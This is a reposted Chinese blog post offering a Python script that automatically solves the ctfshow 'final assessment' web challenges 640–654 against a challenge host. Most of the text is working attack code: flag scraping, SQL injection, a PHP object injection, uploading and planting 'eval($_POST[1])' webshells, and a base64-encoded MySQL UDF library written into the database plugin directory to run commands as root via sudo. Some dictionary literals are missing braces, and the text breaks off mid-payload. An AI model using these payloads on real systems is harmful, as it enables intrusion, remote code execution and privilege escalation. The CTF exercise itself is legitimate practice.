ctfshow终极考核(一键通关脚本)

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow终极考核(一键通关脚本)相关的知识,希望对你有一定的参考价值。

由于某些原因,可能会出现失败的情况,这时候需要重新开个靶机。

import requests
import re
import time
import base64
import urllib

url="http://f1439852-cccf-43e8-a496-fdfe1c9eebd9.challenge.ctf.show/"
sess=requests.session()
#web640
print(re.findall('flag.*?=ctfshow.*?',requests.get(url).text)[0])
#web641
print(sess.get(url).headers['Flag'])

#web642
print(re.findall('flag.*?=ctfshow.*?',sess.get(url+'system36d').text)[0])

#web643
sess.get(url+'system36d/checklogin.php?s=10')
print(urllib.parse.unquote(sess.get(url+'system36d/secret.txt').text))

#web644
print(re.findall('flag.*?=ctfshow.*?',sess.get(url+'system36d/static/js/lock/index.js').text)[0])

#web645
print(re.findall('flag.*?=ctfshow.*?',sess.get(url+'system36d/users.php?action=backup').text)[0])

#web646
print(re.findall('flag.*?=ctfshow.*?',sess.get(url+'system36d/users.php?action=remoteUpdate&auth=ctfshow28b00f799c2e059bafaa1d6bda138d89&update_address=init.php').text)[1])

#web647
print(re.findall('flag.*?=ctfshow.*?',sess.get(url+'system36d/users.php?action=evilString&m=session_id',headers='Cookie':'PHPSESSID=372619038').text)[0])

#web648
print(re.findall('flag.*?=ctfshow.*?',sess.get(url+'system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshowe6ad8304cdb562971999b476d8922219',headers='Cookie':'PHPSESSID=372619038').text)[0])
#web649

u=url+"system36d/users.php?action=evilNumber&m=18&key=flag_648=ctfshowaf5b5e411813eafd8dc2311df30b394e"
while True:
    r=requests.get(u)
    if "ctf" in r.text:
        print(r.text)
        break


#web650
print(sess.get(url+'system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow9ad80fcc305b58afbb3a0c2097ac40ef',headers='Cookie':'PHPSESSID=ffffffff').text)

#web651
'''
<?php
class a
    public $username='123';
    public $x="ctfshow";

$a=new a();
echo serialize($a);
'''

print(sess.get(url+'system36d/users.php?action=evilArray&m=O:1:"a":2:s:8:"username";s:3:"123";s:7:"ctfshow";s:7:"ctfshow";&key=flag_650=ctfshow5eae22d9973a16a0d37c9854504b3029',headers='Cookie':'PHPSESSID=ffffffff').text)

#web652
print(re.findall('flag.*?=ctfshow.*?',sess.get(url+'page.php?id=0) union select secret from ctfshow_secret%23').text)[0])


#模拟数据备份
files='file':('1.dat',"<?php eval($_POST[1]);echo 123;?>","application/ms-tnef") 

#生成木马
sess.post(url+"system36d/users.php?action=upload",files=files)
data1="key":"key_is_here_you_know","file":"../db/data_you_never_know.db","1":"file_put_contents('a.php','<?php eval($_POST[1]);?>');"
sess.post(url+'system36d/util/common.php?k=flag_651=ctfshowa4c64b86d754b3b132a138e3e0adcaa6',data=data1)

#web653
print(sess.post(url+"system36d/util/a.php",data='1':'echo `cat /s*`;').text)
#写入木马
sess.post(url+"system36d/util/a.php",data='1':'file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");')


#udf提权
data2='1':'''`echo "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" > /tmp/a.so;cat  /tmp/a.so|base64 -d > /usr/lib/mariadb/plugin/b.so`;
'''
sess.post(url+"1.php",data=data2)
sess.post(url+"1.php",data='1':'`mysql -uroot -proot -e "create function sys_eval returns string soname \\'b.so\\'"`;')
cmd='''mysql -uroot -proot -e "select sys_eval('sudo cat /root/you_win')"'''
cmd=base64.b64encode(cmd.encode()).decode()
datax='1':'echo `echo 0|base64 -d|sh`;'.format(cmd)
# web654
print(re.findall('flag_.*?=ctfshow.*?',sess.post(url+"1.php",data=datax).text)[0])

#udf提权
#sess.post(url+"1.php",data='1':'`echo W1BIUF0KCjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBBYm91dCBwaHAuaW5pICAgOwo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7CjsgUEhQJmFwb3M7cyBpbml0aWFsaXphdGlvbiBmaWxlLCBnZW5lcmFsbHkgY2FsbGVkIHBocC5pbmksIGlzIHJlc3BvbnNpYmxlIGZvcgo7IGNvbmZpZ3VyaW5nIG1hbnkgb2YgdGhlIGFzcGVjdHMgb2YgUEhQJmFwb3M7cyBiZWhhdmlvci4KCjsgUEhQIGF0dGVtcHRzIHRvIGZpbmQgYW5kIGxvYWQgdGhpcyBjb25maWd1cmF0aW9uIGZyb20gYSBudW1iZXIgb2YgbG9jYXRpb25zLgo7IFRoZSBmb2xsb3dpbmcgaXMgYSBzdW1tYXJ5IG9mIGl0cyBzZWFyY2ggb3JkZXI6CjsgMS4gU0FQSSBtb2R1bGUgc3BlY2lmaWMgbG9jYXRpb24uCjsgMi4gVGhlIFBIUFJDIGVudmlyb25tZW50IHZhcmlhYmxlLiAoQXMgb2YgUEhQIDUuMi4wKQo7IDMuIEEgbnVtYmVyIG9mIHByZWRlZmluZWQgcmVnaXN0cnkga2V5cyBvbiBXaW5kb3dzIChBcyBvZiBQSFAgNS4yLjApCjsgNC4gQ3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSAoZXhjZXB0IENMSSkKOyA1LiBUaGUgd2ViIHNlcnZlciZhcG9zO3MgZGlyZWN0b3J5IChmb3IgU0FQSSBtb2R1bGVzKSwgb3IgZGlyZWN0b3J5IG9mIFBIUAo7IChvdGhlcndpc2UgaW4gV2luZG93cykKOyA2LiBUaGUgZGlyZWN0b3J5IGZyb20gdGhlIC0td2l0aC1jb25maWctZmlsZS1wYXRoIGNvbXBpbGUgdGltZSBvcHRpb24sIG9yIHRoZQo7IFdpbmRvd3MgZGlyZWN0b3J5ICh1c3VhbGx5IEM6XHdpbmRvd3MpCjsgU2VlIHRoZSBQSFAgZG9jcyBmb3IgbW9yZSBzcGVjaWZpYyBpbmZvcm1hdGlvbi4KOyBodHRwOi8vcGhwLm5ldC9jb25maWd1cmF0aW9uLmZpbGUKCjsgVGhlIHN5bnRheCBvZiB0aGUgZmlsZSBpcyBleHRyZW1lbHkgc2ltcGxlLiAgV2hpdGVzcGFjZSBhbmQgbGluZXMKOyBiZWdpbm5pbmcgd2l0aCBhIHNlbWljb2xvbiBhcmUgc2lsZW50bHkgaWdub3JlZCAoYXMgeW91IHByb2JhYmx5IGd1ZXNzZWQpLgo7IFNlY3Rpb24gaGVhZGVycyAoZS5nLiBbRm9vXSkgYXJlIGFsc28gc2lsZW50bHkgaWdub3JlZCwgZXZlbiB0aG91Z2gKOyB0aGV5IG1pZ2h0IG1lYW4gc29tZXRoaW5nIGluIHRoZSBmdXR1cmUuCgo7IERpcmVjdGl2ZXMgZm9sbG93aW5nIHRoZSBzZWN0aW9uIGhlYWRpbmcgW1BBVEg9L3d3dy9teXNpdGVdIG9ubHkKOyBhcHBseSB0byBQSFAgZmlsZXMgaW4gdGhlIC93d3cvbXlzaXRlIGRpcmVjdG9yeS4gIERpcmVjdGl2ZXMKOyBmb2xsb3dpbmcgdGhlIHNlY3Rpb24gaGVhZGluZyBbSE9TVD13d3cuZXhhbXBsZS5jb21dIG9ubHkgYXBwbHkgdG8KOyBQSFAgZmlsZXMgc2VydmVkIGZyb20gd3d3LmV4YW1wbGUuY29tLiAgRGlyZWN0aXZlcyBzZXQgaW4gdGhlc2UKOyBzcGVjaWFsIHNlY3Rpb25zIGNhbm5vdCBiZSBvdmVycmlkZGVuIGJ5IHVzZXItZGVmaW5lZCBJTkkgZmlsZXMgb3IKOyBhdCBydW50aW1lLiBDdXJyZW50bHksIFtQQVRIPV0gYW5kIFtIT1NUPV0gc2VjdGlvbnMgb25seSB3b3JrIHVuZGVyCjsgQ0dJL0Zhc3RDR0kuCjsgaHR0cDovL3BocC5uZXQvaW5pLnNlY3Rpb25zCgo7IERpcmVjdGl2ZXMgYXJlIHNwZWNpZmllZCB1c2luZyB0aGUgZm9sbG93aW5nIHN5bnRheDoKOyBkaXJlY3RpdmUgPSB2YWx1ZQo7IERpcmVjdGl2ZSBuYW1lcyBhcmUgKmNhc2Ugc2Vuc2l0aXZlKiAtIGZvbz1iYXIgaXMgZGlmZmVyZW50IGZyb20gRk9PPWJhci4KOyBEaXJlY3RpdmVzIGFyZSB2YXJpYWJsZXMgdXNlZCB0byBjb25maWd1cmUgUEhQIG9yIFBIUCBleHRlbnNpb25zLgo7IFRoZXJlIGlzIG5vIG5hbWUgdmFsaWRhdGlvbi4gIElmIFBIUCBjYW4mYXBvczt0IGZpbmQgYW4gZXhwZWN0ZWQKOyBkaXJlY3RpdmUgYmVjYXVzZSBpdCBpcyBub3Qgc2V0IG9yIGlzIG1pc3R5cGVkLCBhIGRlZmF1bHQgdmFsdWUgd2lsbCBiZSB1c2VkLgoKOyBUaGUgdmFsdWUgY2FuIGJlIGEgc3RyaW5nLCBhIG51bWJlciwgYSBQSFAgY29uc3RhbnQgKGUuZy4gRV9BTEwgb3IgTV9QSSksIG9uZQo7IG9mIHRoZSBJTkkgY29uc3RhbnRzIChPbiwgT2ZmLCBUcnVlLCBGYWxzZSwgWWVzLCBObyBhbmQgTm9uZSkgb3IgYW4gZXhwcmVzc2lvbgo7IChlLmcuIEVfQUxMICZhbXA7IH5FX05PVElDRSksIGEgcXVvdGVkIHN0cmluZyAoJnF1b3Q7YmFyJnF1b3Q7KSwgb3IgYSByZWZlcmVuY2UgdG8gYQo7IHByZXZpb3VzbHkgc2V0IHZhcmlhYmxlIG9yIGRpcmVjdGl2ZSAoZS5nLiAke2Zvb30pCgo7IEV4cHJlc3Npb25zIGluIHRoZSBJTkkgZmlsZSBhcmUgbGltaXRlZCB0byBiaXR3aXNlIG9wZXJhdG9ycyBhbmQgcGFyZW50aGVzZXM6CjsgfCAgYml0d2lzZSBPUgo7IF4gIGJpdHdpc2